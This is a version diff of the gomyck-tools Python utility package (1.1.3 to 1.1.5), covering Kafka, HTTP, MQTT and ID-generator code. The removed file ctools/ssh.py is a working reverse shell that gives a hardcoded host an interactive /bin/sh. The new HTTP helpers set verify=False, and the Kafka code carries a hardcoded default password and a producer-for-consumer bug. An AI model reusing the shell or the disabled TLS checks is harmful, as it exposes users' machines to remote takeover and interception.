gomyck-tools 1.1.3__tar.gz → 1.1.5__tar.gz

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: gomyck-tools
-Version: 1.1.3
+Version: 1.1.5
 Summary: A ctools for python development by hao474798383
 Home-page: https://blog.gomyck.com
 Author: gomyck
@@ -20,6 +20,10 @@ Requires-Dist: psutil>=6.0.0
 Requires-Dist: jsonpath_ng>=1.6.1
 Requires-Dist: bottle==0.13.1
 Requires-Dist: requests==2.32.3
+Requires-Dist: urllib3==1.26.18
 Requires-Dist: kafka-python==2.0.2
+Requires-Dist: bs4==0.0.2
+Requires-Dist: paho-mqtt==2.1.0
+Requires-Dist: fuzzywuzzy==0.18.0
 
 this package is for python development

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/bottle_web_base.py

@@ -4,7 +4,7 @@ from functools import wraps
 
 import bottle
 from bottle import response, Bottle, request
-
+from ctools.dict_wrapper import DictWrapper
 from ctools.api_result import R
 from ctools.sys_log import flog as log
 
@@ -142,9 +142,4 @@ class FormDataParams:
     except Exception:
       return self.files[key]
 
-class DictWrapper(dict):
-  def __getattr__(self, key):
-    return self.get(key)
 
-  def __setattr__(self, key, value):
-    self[key] = value

gomyck-tools-1.1.5/ctools/ckafka.py

@@ -0,0 +1,159 @@
+#!/usr/bin/env python
+# -*- coding: UTF-8 -*-
+__author__ = 'haoyang'
+__date__ = '2024/9/5 10:39'
+
+import time
+from threading import Thread, Lock
+
+from kafka import KafkaProducer, errors, KafkaConsumer
+from kafka.producer.future import FutureRecordMetadata
+
+from ctools import thread_pool
+from ctools.cjson import dumps
+
+"""
+import time
+from datetime import datetime
+
+from ctools import thread_pool, string_tools
+from ctools.ckafka import CKafka
+
+c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
+
+producer = c.init_producer()
+consumer = c.init_consumer(enable_auto_commit=False)
+
+def send_msg():
+  while True:
+    command = input('发送消息: Y/n \n')
+    if command.strip() not in ['N', 'n']:
+      producer.send_msg('jqxx-lib', '{{"jqid": "{}", "xxxx": "{}=={}"}}'.format(string_tools.get_snowflake_id(), command.strip(), datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')))
+    else:
+      break
+
+thread_pool.submit(send_msg)
+
+def consumer_callback(msg):
+  print(msg)
+  return True
+
+consumer.receive_msg('jqxx-lib', callBack=consumer_callback)
+
+time.sleep(10000)
+"""
+class KafkaInstance:
+  def __init__(self, producer: KafkaProducer, consumer: KafkaConsumer):
+    self.start_consumer = False
+    self.quited = False
+    self.producer = producer
+    self.consumer = consumer
+    self.consumer_callback = {"topic_key": []}
+
+  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
+  # r.add_callback(lambda x: print(x))
+  # r.get() 可以同步获取结果
+  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
+    if self.producer is None: raise RuntimeError("Producer is not initialized")
+    if self.quited: return
+    return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
+
+  def receive_msg(self, topics: str, callBack=print):
+    if self.consumer is None: raise RuntimeError("Consumer is not initialized")
+    for topic in topics.split(','):
+      if topic not in self.consumer_callback.keys():
+        self.consumer_callback[topic] = []
+        self.consumer.subscribe(self.consumer_callback.keys())
+      self.consumer_callback[topic].append(callBack)
+    if not self.start_consumer:
+      t = Thread(target=self._start_consumer_poll, daemon=False)
+      t.start()
+
+  def _start_consumer_poll(self):
+    self.start_consumer = True
+    for msg in self.consumer:
+      if self.quited: break
+      funcList = []
+      begin_time = time.time()
+      for func in self.consumer_callback[msg.topic]:
+        if self.quited: break
+        res = func(msg)
+        if not self.consumer.config['enable_auto_commit'] and res: self.consumer.commit()
+        funcList.append(func.__name__)
+      end_time = time.time()
+      if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
+      funcList.clear()
+
+  def shutdown(self):
+    self.quited = True
+    try: self.consumer.close()
+    except Exception: pass
+    try: self.producer.close()
+    except Exception: pass
+
+
+class CKafka:
+
+  def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password'):
+    self.kafka_url = kafka_url
+    self.secure = secure
+    self.username = username
+    self.password = password
+
+  def init_producer(self, acks=1) -> KafkaInstance:
+    print("[ Producer ] Connecting to Kafka [{}]".format(self.kafka_url))
+    for i in range(0, 6):
+      try:
+        if self.secure:
+          producer = KafkaProducer(
+            acks=acks,
+            bootstrap_servers=self.kafka_url,
+            value_serializer=lambda x: dumps(x).encode('utf-8'),
+            sasl_plain_username=self.username,
+            sasl_plain_password=self.password,
+            security_protocol='SASL_PLAINTEXT',
+            sasl_mechanism='PLAIN'
+          )
+        else:
+          producer = KafkaProducer(
+            acks=acks,
+            bootstrap_servers=self.kafka_url,
+            value_serializer=lambda x: dumps(x).encode('utf-8')
+          )
+        print("[ Producer ] Success Connected to Kafka [{}]".format(self.kafka_url))
+        return KafkaInstance(producer=producer, consumer=None)
+      except errors.NoBrokersAvailable:
+        print("[ Producer ] Waiting for Kafka [{}] to become available...".format(self.kafka_url))
+        time.sleep(3)
+    raise RuntimeError("[ Producer ] Failed to connect to Kafka [{}] within 60 seconds".format(self.kafka_url))
+
+  def init_consumer(self, client_id: str = 'ck-py-kafka-consumer', consumer_group: str = 'ck-py-kafka-consumer', enable_auto_commit: bool = True) -> KafkaInstance:
+    print("[ Consumer ] Connecting to Kafka [{}]".format(self.kafka_url))
+    for i in range(0, 6):
+      try:
+        if self.secure:
+          consumer = KafkaConsumer(
+            client_id=client_id,
+            group_id=consumer_group,
+            enable_auto_commit=enable_auto_commit,
+            bootstrap_servers=self.kafka_url,
+            value_deserializer=lambda x: x.decode('utf-8'),
+            sasl_plain_username=self.username,
+            sasl_plain_password=self.password,
+            security_protocol='SASL_PLAINTEXT',
+            sasl_mechanism='PLAIN'
+          )
+        else:
+          consumer = KafkaProducer(
+            client_id=client_id,
+            group_id=consumer_group,
+            enable_auto_commit=enable_auto_commit,
+            bootstrap_servers=self.kafka_url,
+            value_deserializer=lambda x: x.decode('utf-8')
+          )
+        print("[ Consumer ] Success Connected to Kafka [{}]".format(self.kafka_url))
+        return KafkaInstance(producer=None, consumer=consumer)
+      except errors.NoBrokersAvailable:
+        print("[ Consumer ] Waiting for Kafka [{}] to become available...".format(self.kafka_url))
+        time.sleep(3)
+    raise RuntimeError("[ Consumer ] Failed to connect to Kafka [{}] within 60 seconds".format(self.kafka_url))

gomyck-tools-1.1.5/ctools/dict_wrapper.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python
+# -*- coding: UTF-8 -*-
+__author__ = 'haoyang'
+__date__ = '2024/10/25 09:42'
+
+class DictWrapper(dict):
+  def __getattr__(self, key):
+    return self.get(key)
+
+  def __setattr__(self, key, value):
+    self[key] = value

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/http_utils.py

@@ -4,19 +4,19 @@ import requests
 def get(url, params=None, headers=None):
   result = ""
   try:
-    response = requests.get(url, params=params, headers=headers, timeout=60)
+    response = requests.get(url, params=params, headers=headers, timeout=60, verify=False)
     response.raise_for_status()
     if response.status_code == 200:
       result = response.content
   except Exception as e:
     print("GET请求异常:", e)
-  return result
+  return result.decode('utf-8')
 
 
 def post(url, data=None, json=None, headers=None, files=None):
   result = ""
-  response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60)
+  response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60, verify=False)
   response.raise_for_status()
   if response.status_code == 200:
     result = response.content
-  return result
+  return result.decode('utf-8')

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/id_worker_tools.py

@@ -4,49 +4,41 @@ import time
 WORKER_ID_BITS = 5
 DATACENTER_ID_BITS = 5
 SEQUENCE_BITS = 12
-
 # 最大取值计算
 MAX_WORKER_ID = -1 ^ (-1 << WORKER_ID_BITS)  # 2**5-1 0b11111
 MAX_DATACENTER_ID = -1 ^ (-1 << DATACENTER_ID_BITS)
-
 # 移位偏移计算
 WOKER_ID_SHIFT = SEQUENCE_BITS
 DATACENTER_ID_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS
 TIMESTAMP_LEFT_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS + DATACENTER_ID_BITS
-
 # 序号循环掩码
 SEQUENCE_MASK = -1 ^ (-1 << SEQUENCE_BITS)
-
 # Twitter元年时间戳
 TWEPOCH = 1288834974657
 
-
 class IdWorker(object):
   """
   用于生成IDs
   """
-
   def __init__(self, datacenter_id, worker_id, sequence=0):
     """
     初始化
     :param datacenter_id: 数据中心（机器区域）ID
     :param worker_id: 机器ID
-    :param sequence: 其实序号
+    :param sequence: 起始序号
     """
     # sanity check
     if worker_id > MAX_WORKER_ID or worker_id < 0:
       raise ValueError('worker_id值越界')
-
     if datacenter_id > MAX_DATACENTER_ID or datacenter_id < 0:
       raise ValueError('datacenter_id值越界')
-
     self.worker_id = worker_id
     self.datacenter_id = datacenter_id
     self.sequence = sequence
-
     self.last_timestamp = -1  # 上次计算的时间戳
 
-  def _gen_timestamp(self):
+  @staticmethod
+  def _gen_timestamp():
     """
     生成整数时间戳
     :return:int timestamp
@@ -59,21 +51,17 @@ class IdWorker(object):
     :return:
     """
     timestamp = self._gen_timestamp()
-
     # 时钟回拨
     if timestamp < self.last_timestamp:
       print('clock is moving backwards. Rejecting requests until {}'.format(self.last_timestamp))
       raise
-
     if timestamp == self.last_timestamp:
       self.sequence = (self.sequence + 1) & SEQUENCE_MASK
       if self.sequence == 0:
         timestamp = self._til_next_millis(self.last_timestamp)
     else:
       self.sequence = 0
-
     self.last_timestamp = timestamp
-
     new_id = ((timestamp - TWEPOCH) << TIMESTAMP_LEFT_SHIFT) | (self.datacenter_id << DATACENTER_ID_SHIFT) | \
              (self.worker_id << WOKER_ID_SHIFT) | self.sequence
     return new_id

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/images_tools.py

@@ -1,4 +1,3 @@
-
 from io import BytesIO
 
 from PIL import Image

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/imgDialog.py

@@ -6,7 +6,6 @@ from tkinter import ttk
 import requests
 from PIL import Image, ImageTk
 
-
 def showImageTip(root, title, imagePath, tips):
   # 创建一个Tk对象
   if root:

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/mqtt_utils.py

@@ -1,13 +1,17 @@
 import time
+from enum import Enum
 from typing import Dict
 
-from business.common import DictToObj
-from business.common.constant import MQTTEvent
+from ctools.dict_wrapper import DictWrapper as DictToObj
 from paho.mqtt import client as mqtt
 from paho.mqtt.enums import CallbackAPIVersion
 
 from ctools import sys_log, cjson, string_tools, sys_info, date_utils, sm_tools, thread_pool
 
+class MQTTEvent(Enum):
+
+  pass
+
 '''
 MQTT服务使用示例:
 

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/pty_tools.py

@@ -2,6 +2,8 @@ import _thread
 import queue
 import time
 
+# 伪终端交互
+
 from winpty import PtyProcess
 
 

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/ctools/string_tools.py

@@ -7,6 +7,7 @@ import chardet
 
 from ctools.id_worker_tools import IdWorker
 
+idWorker = IdWorker(1, 2, 0)
 
 def get_random_str(size: int = 10):
   """
@@ -22,7 +23,7 @@ def get_uuid():
 
 
 def get_snowflake_id():
-  return IdWorker(1, 2, 0).get_id()
+  return idWorker.get_id()
 
 
 def decode_bytes(bytes_str: Union[bytes, bytearray]):

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/gomyck_tools.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: gomyck-tools
-Version: 1.1.3
+Version: 1.1.5
 Summary: A ctools for python development by hao474798383
 Home-page: https://blog.gomyck.com
 Author: gomyck
@@ -20,6 +20,10 @@ Requires-Dist: psutil>=6.0.0
 Requires-Dist: jsonpath_ng>=1.6.1
 Requires-Dist: bottle==0.13.1
 Requires-Dist: requests==2.32.3
+Requires-Dist: urllib3==1.26.18
 Requires-Dist: kafka-python==2.0.2
+Requires-Dist: bs4==0.0.2
+Requires-Dist: paho-mqtt==2.1.0
+Requires-Dist: fuzzywuzzy==0.18.0
 
 this package is for python development

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/gomyck_tools.egg-info/SOURCES.txt

@@ -18,6 +18,7 @@ ctools/console.py
 ctools/cron_lite.py
 ctools/database.py
 ctools/date_utils.py
+ctools/dict_wrapper.py
 ctools/douglas_rarefy.py
 ctools/download_tools.py
 ctools/enums.py
@@ -40,7 +41,6 @@ ctools/resource_bundle_tools.py
 ctools/screenshot_tools.py
 ctools/sign.py
 ctools/sm_tools.py
-ctools/ssh.py
 ctools/strDiff.py
 ctools/string_tools.py
 ctools/sys_info.py

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/gomyck_tools.egg-info/requires.txt

@@ -8,4 +8,8 @@ psutil>=6.0.0
 jsonpath_ng>=1.6.1
 bottle==0.13.1
 requests==2.32.3
+urllib3==1.26.18
 kafka-python==2.0.2
+bs4==0.0.2
+paho-mqtt==2.1.0
+fuzzywuzzy==0.18.0

{gomyck-tools-1.1.3 → gomyck-tools-1.1.5}/setup.py

@@ -11,7 +11,7 @@ requirements = parse_requirements(os.path.join(os.path.dirname(__file__), 'requi
 
 setup(
   name="gomyck-tools",
-  version="1.1.3",
+  version="1.1.5",
   author="gomyck",
   author_email="hao474798383@163.com",
   description="A ctools for python development by hao474798383",
@@ -30,5 +30,5 @@ setup(
 
 # 安装依赖, 并生成构建包
 # pip install setuptools wheel twine
-# rm -rf gomyck_tools.egg-info dist build && python setup.py sdist bdist_wheel && twine upload dist/*
+# rm -rf gomyck_tools.egg-info dist build && python setup.py sdist bdist_wheel && twine upload dist/* && rm -rf gomyck_tools.egg-info dist build
 

gomyck-tools-1.1.3/ctools/ckafka.py

@@ -1,150 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: UTF-8 -*-
-__author__ = 'haoyang'
-__date__ = '2024/9/5 10:39'
-
-import time
-from threading import Thread, Lock
-
-from kafka import KafkaProducer, errors, KafkaConsumer
-from kafka.producer.future import FutureRecordMetadata
-
-from ctools import thread_pool
-from ctools.cjson import dumps
-
-"""
-import time
-
-from ctools import thread_pool
-from ctools.ckafka import CKafka
-
-c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
-
-def send_msg():
-  while True:
-    time.sleep(3)
-    c.send_msg('test', 'test')
-
-thread_pool.submit(send_msg)
-c.get_msg('test')
-"""
-
-class CKafka:
-
-  def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password', consumer_group: str = 'ck-py-kafka-consumer'):
-    self.consumer: KafkaConsumer = None
-    self.producer: KafkaProducer = None
-    self.start_consumer = False
-    self.consumer_callback = {"topic_key": []}
-    self.consumer_group = consumer_group
-    self.kafka_url = kafka_url
-    self.init_producer = False
-    self.init_consumer = False
-    self.secure = secure
-    self.username = username
-    self.password = password
-    self.locker = Lock()
-    self.quited = False
-
-  def _create_producer(self) -> KafkaProducer:
-    print("[ Producer ] Connecting to Kafka brokers")
-    for i in range(0, 6):
-      try:
-        if self.secure:
-          self.producer = KafkaProducer(
-            bootstrap_servers=self.kafka_url,
-            sasl_plain_username=self.username,
-            sasl_plain_password=self.password,
-            security_protocol='SASL_PLAINTEXT',
-            sasl_mechanism='PLAIN',
-            value_serializer=lambda x: dumps(x).encode('utf-8'))
-        else:
-          self.producer = KafkaProducer(
-            bootstrap_servers=self.kafka_url,
-            value_serializer=lambda x: dumps(x).encode('utf-8'))
-        print("[ Producer ] Connected to Kafka...")
-        self.init_producer = True
-        return self.producer
-      except errors.NoBrokersAvailable:
-        print("[ Producer ] Waiting for brokers to become available...")
-        time.sleep(3)
-    raise RuntimeError("[ Producer ] Failed to connect to brokers within 60 seconds")
-
-  def _create_consumer(self) -> KafkaProducer:
-    print("[ Consumer ] Connecting to Kafka brokers")
-    for i in range(0, 6):
-      try:
-        if self.secure:
-          self.consumer = KafkaConsumer(
-            group_id=self.consumer_group,
-            bootstrap_servers=self.kafka_url,
-            sasl_plain_username=self.username,
-            sasl_plain_password=self.password,
-            security_protocol='SASL_PLAINTEXT',
-            sasl_mechanism='PLAIN',
-            value_deserializer=lambda x: x.decode('utf-8'))
-        else:
-          self.consumer = KafkaProducer(
-            bootstrap_servers=self.kafka_url,
-            value_deserializer=lambda x: x.decode('utf-8'))
-        print("[ Consumer ] Connected to Kafka...")
-        self.init_consumer = True
-        return self.consumer
-      except errors.NoBrokersAvailable:
-        print("[ Consumer ] Waiting for brokers to become available...")
-        time.sleep(3)
-    raise RuntimeError("[ Consumer ] Failed to connect to brokers within 60 seconds")
-
-  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
-  # r.add_callback(lambda x: print(x))
-  # r.get() 可以同步获取结果
-  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
-    if self.quited: return None
-    if not self.init_producer:
-      with self.locker:
-        if not self.init_producer:
-          self._create_producer()
-    return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
-
-  def get_msg(self, topics: str, callBack=print):
-    if not self.init_consumer:
-      with self.locker:
-        if not self.init_consumer:
-          self._create_consumer()
-    for topic in topics.split(','):
-      if topic not in self.consumer_callback.keys():
-        self.consumer_callback[topic] = []
-        self.consumer.subscribe(self.consumer_callback.keys())
-      self.consumer_callback[topic].append(callBack)
-    if not self.start_consumer:
-      t = Thread(target=self._start_consumer_poll)
-      t.start()
-
-  def _start_consumer_poll(self):
-    self.start_consumer = True
-    for msg in self.consumer:
-      if self.quited: break
-      taskList = []
-      funcList = []
-      begin_time = time.time()
-      for func in self.consumer_callback[msg.topic]:
-        if self.quited: break
-        f = thread_pool.submit(func, (msg, ))
-        taskList.append(f)
-        funcList.append(func.__name__)
-      for f in taskList:
-        if self.quited: break
-        f.result()
-      end_time = time.time()
-      if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
-      taskList.clear()
-      funcList.clear()
-
-  def shutdown(self):
-    self.quited = True
-    try: self.consumer.close()
-    except Exception: pass
-    try: self.producer.close()
-    except Exception: pass
-    thread_pool.shutdown(wait=True)
-

gomyck-tools-1.1.3/ctools/ssh.py

@@ -1,11 +0,0 @@
-import os
-import socket
-import subprocess
-
-s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-s.connect(('192.168.3.239',3123))
-os.dup2(s.fileno(),0)
-os.dup2(s.fileno(),1)
-os.dup2(s.fileno(),2)
-p=subprocess.call(['/bin/sh','-i'])
-